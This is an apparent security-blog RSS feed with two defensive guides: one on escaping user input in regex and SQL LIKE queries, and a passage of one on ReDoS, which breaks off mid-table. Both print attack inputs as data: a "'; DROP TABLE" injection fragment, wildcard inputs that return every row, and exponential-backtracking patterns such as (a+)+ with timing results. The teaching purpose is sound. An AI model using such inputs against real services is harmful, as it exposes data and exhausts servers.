<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Python | FirewallSync</title><link>https://firewallsync.com/tags/python/</link><description>Practical cybersecurity writing for engineering teams that ship fast.</description><language>en-us</language><image><url>https://firewallsync.com/icon-512.png</url><title>FirewallSync</title><link>https://firewallsync.com/</link></image><lastBuildDate>Sun, 01 Nov 2026 04:40:00 +0000</lastBuildDate><atom:link href="https://firewallsync.com/tags/python/index.xml" rel="self" type="application/rss+xml"/><item><title>Escape User Input in Regex and SQL LIKE: Tested Fixes</title><link>https://firewallsync.com/posts/escape-user-input-regex-sql-like/</link><guid>https://firewallsync.com/posts/escape-user-input-regex-sql-like/</guid><pubDate>Sun, 01 Nov 2026 04:40:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AppSec &amp; APIs</category><description>A search box that drops user text into new RegExp() or a LIKE pattern is a small injection bug: a dot matches anything, .* matches everything, and a % turns a filtered search into a full table scan that returns every row. Parameterised queries do not fix it. This guide shows the correct escaping function in Python, JavaScript and Go, the LIKE ESCAPE rules for PostgreSQL and SQLite, and the replacement-string trap that catches people after they have escaped the pattern.</description><enclosure url="https://firewallsync.com/posts/escape-user-input-regex-sql-like/cover_hu10145603437681109998.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/escape-user-input-regex-sql-like/cover_hu10145603437681109998.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/escape-user-input-regex-sql-like/cover_hu10145603437681109998.jpg" alt="Dozens of wooden letterpress type blocks, letters and numerals in warm brown tones, scattered on a wooden surface" width="1200" height="630"></p><p>Search features have a habit of taking a user&rsquo;s text and dropping it straight into a pattern: <code>new RegExp(query)</code>, <code>re.search(term, line)</code>, <code>WHERE name LIKE '%' || $1 || '%'</code>. The user meant &ldquo;find this text&rdquo;. The engine reads &ldquo;match this pattern&rdquo;. A dot becomes &ldquo;any character&rdquo;, <code>.*</code> becomes &ldquo;everything&rdquo;, and <code>%</code> in a LIKE search returns every row you were filtering.</p>
<p><strong>The short answer:</strong> when user text should match literally, escape it with the platform function (<code>re.escape</code>, <code>RegExp.escape</code>, <code>regexp.QuoteMeta</code>) before building the pattern. For SQL <code>LIKE</code>, bind the value as a parameter <strong>and</strong> escape <code>\</code>, <code>%</code> and <code>_</code> in it, with an explicit <code>ESCAPE '\'</code>. If the text is also used as a replacement string, pass a function, not a string.</p>
<p>This article is about user text that should be treated as literal. If your product lets users write real regular expressions, escaping is the wrong tool; see <a href="/posts/user-supplied-regex-redos-safe-engines/">User-Supplied Regex: How to Run It Without ReDoS</a>.</p>
<h2 id="what-goes-wrong-without-escaping">What goes wrong without escaping</h2>
<p>We ran each example below and show the output. Test environment: Python 3.13.18, Node.js 24.22.2 (V8 13.6) and 22.23.4, Go 1.24.7, SQLite 3.53.1 (Python&rsquo;s <code>sqlite3</code> module) and PostgreSQL 16.15, all on Linux.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Python 3.13: search log lines for a user-supplied term</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span>logs <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;user=alice&#34;</span>, <span style="color:#e6db74">&#34;user=al.ce&#34;</span>, <span style="color:#e6db74">&#34;user=bob&#34;</span>, <span style="color:#e6db74">&#34;user=admin&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>q <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;al.ce&#34;</span>
</span></span><span style="display:flex;"><span>[l <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> logs <span style="color:#66d9ef">if</span> re<span style="color:#f92672">.</span>search(q, l)]             <span style="color:#75715e"># [&#39;user=alice&#39;, &#39;user=al.ce&#39;]</span>
</span></span><span style="display:flex;"><span>[l <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> logs <span style="color:#66d9ef">if</span> re<span style="color:#f92672">.</span>search(re<span style="color:#f92672">.</span>escape(q), l)]  <span style="color:#75715e"># [&#39;user=al.ce&#39;]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>q <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;.*&#34;</span>
</span></span><span style="display:flex;"><span>all(re<span style="color:#f92672">.</span>search(q, l) <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> logs)               <span style="color:#75715e"># True: matches every line</span>
</span></span><span style="display:flex;"><span>[l <span style="color:#66d9ef">for</span> l <span style="color:#f92672">in</span> logs <span style="color:#66d9ef">if</span> re<span style="color:#f92672">.</span>search(re<span style="color:#f92672">.</span>escape(q), l)]  <span style="color:#75715e"># []</span>
</span></span></code></pre></div><p>The consequences depend on where the pattern is used. In a search box it is a wrong result. In a filter that decides which records a user may see, a match against tenant or account names, or a log-redaction rule, a wildcard where you expected a literal is an authorisation or data-exposure bug. Unescaped input also lets the user add nested quantifiers to your pattern, which is a route to ReDoS in backtracking engines.</p>
<h2 id="regex-use-the-platform-escaper">Regex: use the platform escaper</h2>
<h3 id="python-reescape">Python: <code>re.escape</code></h3>
<p>The <a href="https://docs.python.org/3/library/re.html#re.escape">Python docs</a> describe <code>re.escape</code> as escaping &ldquo;special characters in <em>pattern</em>&rdquo;, useful &ldquo;if you want to match an arbitrary literal string that may have regular expression metacharacters in it.&rdquo; Since Python 3.7, &ldquo;only characters that can have special meaning in a regular expression are escaped.&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>re<span style="color:#f92672">.</span>escape(<span style="color:#e6db74">&#34;a.b*c(d)&#34;</span>)   <span style="color:#75715e"># &#39;a\\.b\\*c\\(d\\)&#39;</span>
</span></span><span style="display:flex;"><span>pattern <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;\b&#34;</span> <span style="color:#f92672">+</span> re<span style="color:#f92672">.</span>escape(user_term) <span style="color:#f92672">+</span> <span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;\b&#34;</span>, re<span style="color:#f92672">.</span>IGNORECASE)
</span></span></code></pre></div><h3 id="go-regexpquotemeta">Go: <code>regexp.QuoteMeta</code></h3>
<p>Go&rsquo;s <a href="https://pkg.go.dev/regexp#QuoteMeta"><code>QuoteMeta</code></a> &ldquo;returns a string that escapes all regular expression metacharacters inside the argument text; the returned string is a regular expression matching the literal text.&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#75715e">// Go 1.24.7
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">regexp</span>.<span style="color:#a6e22e">QuoteMeta</span>(<span style="color:#e6db74">&#34;al.ce*(x)&#34;</span>))                                  <span style="color:#75715e">// al\.ce\*\(x\)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Println</span>(<span style="color:#a6e22e">regexp</span>.<span style="color:#a6e22e">MustCompile</span>(<span style="color:#a6e22e">regexp</span>.<span style="color:#a6e22e">QuoteMeta</span>(<span style="color:#e6db74">&#34;al.ce&#34;</span>)).<span style="color:#a6e22e">MatchString</span>(<span style="color:#e6db74">&#34;alice&#34;</span>)) <span style="color:#75715e">// false
</span></span></span></code></pre></div><h3 id="javascript-regexpescape-and-why-the-old-snippet-is-not-enough">JavaScript: <code>RegExp.escape</code>, and why the old snippet is not enough</h3>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/escape">MDN</a> describes <code>RegExp.escape()</code> as returning &ldquo;a new string that can be safely used as a literal pattern for the <code>RegExp()</code> constructor&rdquo;, and marks it Baseline 2025. It is present in Node.js 24 and absent in Node.js 22:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>node v24.22.2 RegExp.escape: function
</span></span><span style="display:flex;"><span>node v22.23.4 RegExp.escape: undefined
</span></span></code></pre></div><p>The output looks odd at first: <code>RegExp.escape(&quot;foo.bar&quot;)</code> returns <code>\x66oo\.bar</code>. MDN explains that a leading digit or ASCII letter is written as a <code>\x</code> escape so that, if the result is &ldquo;immediately preceded by <code>\1</code>, <code>\x0</code>, <code>\u000</code>, etc., the leading character doesn&rsquo;t get interpreted as part of the escape sequence.&rdquo; Other punctuators such as <code>-</code> are also written as <code>\x</code> escapes.</p>
<p>That is exactly where the widely copied replace-based escaper falls short. We compared the two in Node.js 24:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// Node.js 24.22.2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">escapeRegExp</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">s</span> =&gt; <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">/[.*+?^${}()|[\]\\]/g</span>, <span style="color:#e6db74">&#34;\\$&amp;&#34;</span>); <span style="color:#75715e">// common fallback
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 1. User text placed right after a backreference
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#34;(a)\\1&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">escapeRegExp</span>(<span style="color:#e6db74">&#34;1&#34;</span>)).<span style="color:#a6e22e">source</span>;   <span style="color:#75715e">// &#39;(a)\\11&#39;  -&gt; test(&#34;aa1&#34;) is false
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#34;(a)\\1&#34;</span> <span style="color:#f92672">+</span> RegExp.<span style="color:#a6e22e">escape</span>(<span style="color:#e6db74">&#34;1&#34;</span>)).<span style="color:#a6e22e">source</span>;  <span style="color:#75715e">// &#39;(a)\\1\\x31&#39; -&gt; test(&#34;aa1&#34;) is true
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 2. User text placed inside a character class
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#34;[&#34;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">escapeRegExp</span>(<span style="color:#e6db74">&#34;a-z&#34;</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;]&#34;</span>).<span style="color:#a6e22e">test</span>(<span style="color:#e6db74">&#34;m&#34;</span>);   <span style="color:#75715e">// true: became the range a-z
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">new</span> RegExp(<span style="color:#e6db74">&#34;[&#34;</span> <span style="color:#f92672">+</span> RegExp.<span style="color:#a6e22e">escape</span>(<span style="color:#e6db74">&#34;a-z&#34;</span>) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;]&#34;</span>).<span style="color:#a6e22e">test</span>(<span style="color:#e6db74">&#34;m&#34;</span>);  <span style="color:#75715e">// false: matches only a, -, z
</span></span></span></code></pre></div><p>In both cases the fallback produced a valid pattern that matched something different from what was intended. MDN&rsquo;s advice is direct: &ldquo;don&rsquo;t try to re-implement its functionality,&rdquo; because <code>RegExp.escape()</code> &ldquo;is designed to use escape sequences that work in many more edge cases/contexts than hand-crafted code is likely to achieve.&rdquo;</p>
<p>For code that must also run on older runtimes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// Prefer the built-in; the fallback is only safe when the escaped text
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// is not placed inside [...] or directly after a backslash escape.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">escapeRegExp</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">typeof</span> RegExp.<span style="color:#a6e22e">escape</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;function&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">?</span> RegExp.<span style="color:#a6e22e">escape</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">:</span> <span style="color:#a6e22e">s</span> =&gt; <span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">/[.*+?^${}()|[\]\\]/g</span>, <span style="color:#e6db74">&#34;\\$&amp;&#34;</span>);
</span></span></code></pre></div><h2 id="escaping-does-not-cover-the-replacement-string">Escaping does not cover the replacement string</h2>
<p>Teams that escape the pattern often forget that the replacement argument has its own syntax.</p>
<p><strong>JavaScript.</strong> In <code>String.prototype.replace</code>, a replacement <em>string</em> interprets <code>$&amp;</code>, <code>$1</code>, <code>$&lt;name&gt;</code> and similar. A function&rsquo;s return value is used as is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#75715e">// Node.js 24.22.2
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;$&amp;$&amp;&#34;</span>;                               <span style="color:#75715e">// user-controlled
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;Hello NAME&#34;</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#34;NAME&#34;</span>, <span style="color:#a6e22e">name</span>);                <span style="color:#75715e">// &#39;Hello NAMENAME&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#e6db74">&#34;Hello NAME&#34;</span>.<span style="color:#a6e22e">replace</span>(<span style="color:#e6db74">&#34;NAME&#34;</span>, () =&gt; <span style="color:#a6e22e">name</span>);          <span style="color:#75715e">// &#39;Hello $&amp;$&amp;&#39;
</span></span></span></code></pre></div><p><strong>Python.</strong> The <code>re.escape</code> docs say it &ldquo;must not be used for the replacement string in <code>sub()</code> and <code>subn()</code>, only backslashes should be escaped.&rdquo; In practice, passing a function avoids the problem entirely:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>s <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;name: NAME&#34;</span>
</span></span><span style="display:flex;"><span>re<span style="color:#f92672">.</span>sub(<span style="color:#e6db74">&#34;NAME&#34;</span>, <span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;C:\new\1&#34;</span>, s)          <span style="color:#75715e"># re.error: invalid group reference 1 at position 7</span>
</span></span><span style="display:flex;"><span>re<span style="color:#f92672">.</span>sub(<span style="color:#e6db74">&#34;NAME&#34;</span>, <span style="color:#66d9ef">lambda</span> m: <span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;C:\new\1&#34;</span>, s)  <span style="color:#75715e"># &#39;name: C:\\new\\1&#39;</span>
</span></span></code></pre></div><p>A replacement string that happens to contain <code>\n</code> or <code>\1</code> either changes the output or raises, depending on the text. Either is a bug when the text comes from a user. The same caution applies to anything that renders model or user output into templates; see <a href="/posts/llm-improper-output-handling-treat-model-output-as-untrusted-input/">treating LLM output as untrusted input</a>.</p>
<h2 id="sql-like-parameters-are-not-enough">SQL LIKE: parameters are not enough</h2>
<p>A bind parameter keeps the value out of the SQL grammar, so <code>'; DROP TABLE</code> is just text. But <code>LIKE</code> interprets <code>%</code> (any sequence) and <code>_</code> (any single character) inside the value, bound or not. The <a href="https://www.postgresql.org/docs/current/functions-matching.html">PostgreSQL docs</a> state: &ldquo;The default escape character is the backslash but a different one can be selected by using the ESCAPE clause.&rdquo; Writing <code>ESCAPE ''</code> &ldquo;effectively disables the escape mechanism.&rdquo;</p>
<p>Escape the escape character first, then the wildcards:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">like_escape</span>(s: str, esc: str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">&#34;</span>) <span style="color:#f92672">-&gt;</span> str:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> s<span style="color:#f92672">.</span>replace(esc, esc <span style="color:#f92672">*</span> <span style="color:#ae81ff">2</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;%&#34;</span>, esc <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;%&#34;</span>)<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;_&#34;</span>, esc <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;_&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># SQLite: no escape character unless you declare one</span>
</span></span><span style="display:flex;"><span>cur<span style="color:#f92672">.</span>execute(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SELECT name FROM u WHERE name LIKE ? ESCAPE &#39;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">&#39;&#34;</span>,
</span></span><span style="display:flex;"><span>    (<span style="color:#e6db74">&#34;%&#34;</span> <span style="color:#f92672">+</span> like_escape(term) <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;%&#34;</span>,),
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>Test table: <code>alice</code>, <code>bob</code>, <code>50% off</code>, <code>a_b</code>, <code>axb</code>. Results with the search value bound as a parameter:</p>
<table>
  <thead>
      <tr>
          <th>Search term</th>
          <th>SQLite, bound, not escaped</th>
          <th>SQLite, escaped + <code>ESCAPE '\'</code></th>
          <th>SQLite, escaped, no <code>ESCAPE</code></th>
          <th>PostgreSQL, escaped (default <code>\</code>)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>%</code></td>
          <td>all 5 rows</td>
          <td><code>50% off</code></td>
          <td>none</td>
          <td><code>50% off</code></td>
      </tr>
      <tr>
          <td><code>_</code></td>
          <td>all 5 rows</td>
          <td><code>a_b</code></td>
          <td>none</td>
          <td>not run</td>
      </tr>
      <tr>
          <td><code>a_b</code></td>
          <td><code>a_b</code>, <code>axb</code></td>
          <td><code>a_b</code></td>
          <td>none</td>
          <td><code>a_b</code></td>
      </tr>
  </tbody>
</table>
<p>Two things stand out. First, a bound <code>%</code> or <code>_</code> returns every row: that turns a filtered search into an export of the table. Second, the escaping and the <code>ESCAPE</code> clause must agree. SQLite has no default escape character, so escaped input without <code>ESCAPE '\'</code> matched nothing. PostgreSQL uses backslash by default, but stating <code>ESCAPE '\'</code> anyway makes the query portable and removes the dependency on the default.</p>
<p>Two more differences we observed: SQLite&rsquo;s <code>LIKE</code> was case-insensitive for ASCII (<code>'ALICE' LIKE 'alice'</code> returned 1), while PostgreSQL&rsquo;s was case-sensitive (<code>false</code>; use <code>ILIKE</code> there). If your ORM offers a &ldquo;contains&rdquo; or &ldquo;starts with&rdquo; helper, check whether it escapes wildcards for your database before relying on it.</p>
<p>The same applies to other pattern operators: PostgreSQL&rsquo;s docs warn, &ldquo;Be wary of accepting regular-expression search patterns from hostile sources&rdquo;, for <code>SIMILAR TO</code> and POSIX regex operators.</p>
<h2 id="checklist">Checklist</h2>
<ul>
<li>Decide whether the user is supplying <strong>text</strong> or a <strong>pattern</strong>. Text gets escaped; patterns need a safe engine and limits.</li>
<li>Use <code>re.escape</code>, <code>RegExp.escape</code> or <code>regexp.QuoteMeta</code>. Feature-detect <code>RegExp.escape</code> on Node.js 22 and older browsers.</li>
<li>Never put fallback-escaped text inside <code>[...]</code> or directly after a backslash escape.</li>
<li>For <code>LIKE</code>: bind the value, escape <code>\</code>, <code>%</code>, <code>_</code> in that order, and always write <code>ESCAPE '\'</code>.</li>
<li>Use a function, not a string, when user text is the replacement in <code>replace</code> or <code>re.sub</code>.</li>
<li>Add a test with <code>.</code>, <code>.*</code>, <code>%</code>, <code>_</code>, <code>$&amp;</code> and a backslash in the input. The bug is invisible with ordinary names.</li>
</ul>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>We tested the runtimes and versions listed above; MySQL, SQL Server and Oracle have their own LIKE escape rules and were not tested. Other regex dialects (Java, .NET, PCRE) have their own quoting functions not covered here. The JavaScript fallback is shown to illustrate its limits, not as a recommendation.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>re.escape</code> purpose, 3.7 change, replacement-string warning</td>
          <td><a href="https://docs.python.org/3/library/re.html#re.escape">Python <code>re</code> docs</a> (cpython main, Doc/library/re.rst)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td><code>QuoteMeta</code> behaviour</td>
          <td><a href="https://pkg.go.dev/regexp#QuoteMeta">Go <code>regexp</code> package</a> (src/regexp/regexp.go)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td><code>RegExp.escape</code> behaviour, leading-character rule, Baseline 2025, re-implementation warning</td>
          <td><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/escape">MDN RegExp.escape()</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>PostgreSQL default escape character, <code>ESCAPE ''</code>, regex caution</td>
          <td><a href="https://www.postgresql.org/docs/current/functions-matching.html">PostgreSQL pattern matching docs</a> (read from the 17.1 text)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Fallback escaper failing after <code>\1</code> and inside <code>[...]</code>; replacement-string behaviour; LIKE results; case sensitivity</td>
          <td>Our tests on the versions listed</td>
          <td>Verified (tested)</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item><item><title>User-Supplied Regex: How to Run It Without ReDoS</title><link>https://firewallsync.com/posts/user-supplied-regex-redos-safe-engines/</link><guid>https://firewallsync.com/posts/user-supplied-regex-redos-safe-engines/</guid><pubDate>Sat, 31 Oct 2026 04:50:00 +0000</pubDate><dc:creator>Craig Leslie</dc:creator><category>AppSec &amp; APIs</category><description>Search filters, alert rules, routing configs and log tools all end up accepting regular expressions from users. In a backtracking engine that is a denial-of-service switch you hand to whoever can type a pattern. This guide shows which engines are built for untrusted patterns (RE2, Go, Rust), which ones say plainly that they are not (.NET), what timeouts and possessive quantifiers can and cannot do, and two tested patterns for Python and Node.js.</description><enclosure url="https://firewallsync.com/posts/user-supplied-regex-redos-safe-engines/cover_hu13911530470990273703.jpg" type="image/jpeg" length="0"/><media:content url="https://firewallsync.com/posts/user-supplied-regex-redos-safe-engines/cover_hu13911530470990273703.jpg" medium="image" type="image/jpeg" width="1200" height="630"/><content:encoded><![CDATA[<p><img src="https://firewallsync.com/posts/user-supplied-regex-redos-safe-engines/cover_hu13911530470990273703.jpg" alt="Taut strands of red, orange, pink, purple, yellow and white thread crossing at angles to form a dense grid against a blurred grey background" width="1200" height="630"></p><p>If your product lets users type a regular expression (a log search box, an alerting rule, a URL routing rule, a &ldquo;block messages matching&rdquo; filter), you have handed them a way to burn your CPU. In a backtracking engine, a short pattern and a short input can keep a thread busy for seconds or years. The fix is not a better regex review process, because you are not the one writing the patterns.</p>
<p><strong>The short answer:</strong> run user-supplied patterns on an engine that guarantees linear-time matching (RE2, Go&rsquo;s <code>regexp</code>, Rust&rsquo;s <code>regex</code>), cap pattern length, and reject features those engines do not support instead of quietly falling back. If you are stuck with a backtracking engine, run the match somewhere you can kill it on a deadline.</p>
<h2 id="why-a-backtracking-engine-is-the-problem">Why a backtracking engine is the problem</h2>
<p>Python&rsquo;s <code>re</code>, JavaScript&rsquo;s <code>RegExp</code> (V8&rsquo;s Irregexp) and .NET&rsquo;s default engine are backtracking engines. When a match fails, they back up and try every other way the pattern could have split the input. For most patterns that is fast. For patterns with nested or overlapping repetition, the number of ways to split the input grows exponentially.</p>
<p>OWASP&rsquo;s wiki page on <a href="https://wiki.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS">ReDoS</a> describes an &ldquo;evil&rdquo; regex as one with grouping with repetition where the repeated group contains repetition or overlapping alternation. Its examples include <code>(a+)+</code>, <code>([a-zA-Z]+)*</code>, <code>(a|aa)+</code> and <code>(a|a?)+</code>.</p>
<p>We timed the first one in Python 3.13.18 against a string of <code>a</code> characters followed by <code>!</code>, so the match has to fail:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> re<span style="color:#f92672">,</span> time
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>pat <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;^(a+)+$&#39;</span>)
</span></span><span style="display:flex;"><span>pos <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#39;^(?:a++)+$&#39;</span>)   <span style="color:#75715e"># possessive quantifier, Python 3.11+</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> n <span style="color:#f92672">in</span> (<span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">22</span>, <span style="color:#ae81ff">24</span>):
</span></span><span style="display:flex;"><span>    s <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;a&#39;</span> <span style="color:#f92672">*</span> n <span style="color:#f92672">+</span> <span style="color:#e6db74">&#39;!&#39;</span>
</span></span><span style="display:flex;"><span>    t <span style="color:#f92672">=</span> time<span style="color:#f92672">.</span>perf_counter(); pat<span style="color:#f92672">.</span><span style="color:#66d9ef">match</span>(s); t1 <span style="color:#f92672">=</span> time<span style="color:#f92672">.</span>perf_counter() <span style="color:#f92672">-</span> t
</span></span><span style="display:flex;"><span>    t <span style="color:#f92672">=</span> time<span style="color:#f92672">.</span>perf_counter(); pos<span style="color:#f92672">.</span><span style="color:#66d9ef">match</span>(s); t2 <span style="color:#f92672">=</span> time<span style="color:#f92672">.</span>perf_counter() <span style="color:#f92672">-</span> t
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;n=</span><span style="color:#e6db74">{</span>n<span style="color:#e6db74">:</span><span style="color:#e6db74">2d</span><span style="color:#e6db74">}</span><span style="color:#e6db74"> backtracking=</span><span style="color:#e6db74">{</span>t1<span style="color:#e6db74">:</span><span style="color:#e6db74">8.4f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">s possessive=</span><span style="color:#e6db74">{</span>t2<span style="color:#e6db74">:</span><span style="color:#e6db74">.6f</span><span style="color:#e6db74">}</span><span style="color:#e6db74">s&#34;</span>)
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>n=18 backtracking=  0.0088s possessive=0.000005s
</span></span><span style="display:flex;"><span>n=20 backtracking=  0.0429s possessive=0.000005s
</span></span><span style="display:flex;"><span>n=22 backtracking=  0.1680s possessive=0.000003s
</span></span><span style="display:flex;"><span>n=24 backtracking=  0.5356s possessive=0.000005s
</span></span></code></pre></div><p>Each additional two characters roughly quadrupled the time. Extrapolate to a 40-character input and one request ties up a worker for hours. Node.js 22 behaves the same way: <code>/^(a+)+$/.test('a'.repeat(24) + '!')</code> took 495 ms in our sandbox.</p>
<p>The possessive rewrite fixes this pattern because <code>a++</code> refuses to give characters back. That is a valid fix when <strong>you</strong> write the pattern. It does nothing when a user writes it, because the user will not write the possessive version.</p>
<h2 id="two-different-threats">Two different threats</h2>
<p>It helps to separate the cases, because the defences differ.</p>
<table>
  <thead>
      <tr>
          <th>Situation</th>
          <th>Who controls the pattern</th>
          <th>Main fix</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Your validator runs on user input</td>
          <td>You</td>
          <td>Review the pattern, use possessive quantifiers or atomic groups, limit input length</td>
      </tr>
      <tr>
          <td>Users submit patterns (search, rules, filters)</td>
          <td>The attacker</td>
